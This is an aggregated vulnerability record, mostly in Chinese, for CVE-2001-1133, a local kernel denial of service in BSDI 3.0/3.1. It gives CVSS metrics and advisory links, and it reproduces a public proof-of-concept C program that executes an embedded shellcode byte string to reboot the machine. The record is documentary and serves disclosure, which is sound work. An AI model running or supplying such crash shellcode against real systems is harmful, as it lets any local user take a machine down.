CVE-2001-1133
CVSS2.1
发布时间 :2001-08-21 00:00:00
修订时间 :2008-09-05 16:25:46
NMCOES    

[原文]Vulnerability in a system call in BSDI 3.0 and 3.1 allows local users to cause a denial of service (reboot) in the kernel via a particular sequence of instructions.


[CNNVD]BSDI可能本地内核服务拒绝漏洞(CNNVD-200108-089)

        BSDI 3.0版本和3.1版本的系统调用存在漏洞。本地用户可以借助指令的特殊序列在内核中导致服务拒绝(重新启动)。

- CVSS (基础分值)

CVSS分值: 2.1 [轻微(LOW)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:bsdi:bsd_os:3.1
cpe:/o:bsdi:bsd_os:3.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1133
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-1133
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200108-089
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/3220
(VENDOR_ADVISORY)  BID  3220
http://www.securityfocus.com/archive/1/209192
(VENDOR_ADVISORY)  BUGTRAQ  20010821 BSDi (3.0/3.1) reboot machine code as any user (non-specific)
http://www.iss.net/security_center/static/7023.php
(VENDOR_ADVISORY)  XF  bsd-kernel-dos(7023)

- 漏洞信息

BSDI可能本地内核服务拒绝漏洞
低危 未知
2001-08-21 00:00:00 2005-10-20 00:00:00
本地  
        BSDI 3.0版本和3.1版本的系统调用存在漏洞。本地用户可以借助指令的特殊序列在内核中导致服务拒绝(重新启动)。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com .

- 漏洞信息 (21077)

BSDI 3.0/3.1 Possible Local Kernel Denial of Service Vulnerability (EDBID:21077)
bsd local
2001-08-21 Verified
0 V9
N/A [点击下载]
source: http://www.securityfocus.com/bid/3220/info

It has been reported that there is a locally exploitable vulnerability in BSDI.

It is allegedly possible for a userland process to cause the kernel to halt.

This may be due to a bad system call. 

/* (BSDi)*[v3.0/3.1] system failure, by
   v9[v9@realhalo.org].  this will result
   in the ability of any user to fail the
   system, and reboot it.  this bug is
   similar to that of the "f00f" bug.
   results are similar, except this reboots
   the machine instead of having a freezing
   effect.  tested, and built for: BSDi
   v3.0/3.1. (arch/non-specific to BSDi)
*/
char bsdi_killcode[] =
 "\xb8\x8f\xf8\xff\x0b\xf7\xd0\x50\xb0\x0b"
 "\xb0\x9a\x50\x89\xe7\xff\xd7";
int main() {
 void (*execcode)()=(void *)bsdi_killcode;
 printf("[ (BSDi)*[v3.0/3.1]: system failu"
 "re, by: v9[v9@realhalo.org]. ]\n");
 printf("*** no output should be seen afte"
 "r this point.\n");
 execcode();
 printf("*** system failure failed.\n");
 exit(0);
}
		

- 漏洞信息

14170
BSDI Malformed System Call Local DoS
Local Access Required Denial of Service
Loss of Availability
Exploit Public

- 漏洞描述

BSD contains a flaw that may allow a local denial of service. The issue is triggered when a malicious user compiles and executes shell code that causes a bad system call, resulting in a reboot and loss of availability for the platform.

- 时间线

2001-08-21 Unknow
2001-08-21 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

- 漏洞信息

BSDI Possible Local Kernel Denial of Service Vulnerability
Unknown 3220
No Yes
2001-08-21 12:00:00 2009-07-11 07:56:00
This vulnerability was first reported by Vade79 <v9@realhalo.org>.

- 受影响的程序版本

BSDI BSD/OS 3.1
BSDI BSD/OS 3.0

- 漏洞讨论

It has been reported that there is a locally exploitable vulnerability in BSDI.

It is allegedly possible for a userland process to cause the kernel to halt.

This may be due to a bad system call.

- 漏洞利用

Contributed by Vade79 &lt;v9@realhalo.org&gt;:

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

 

 

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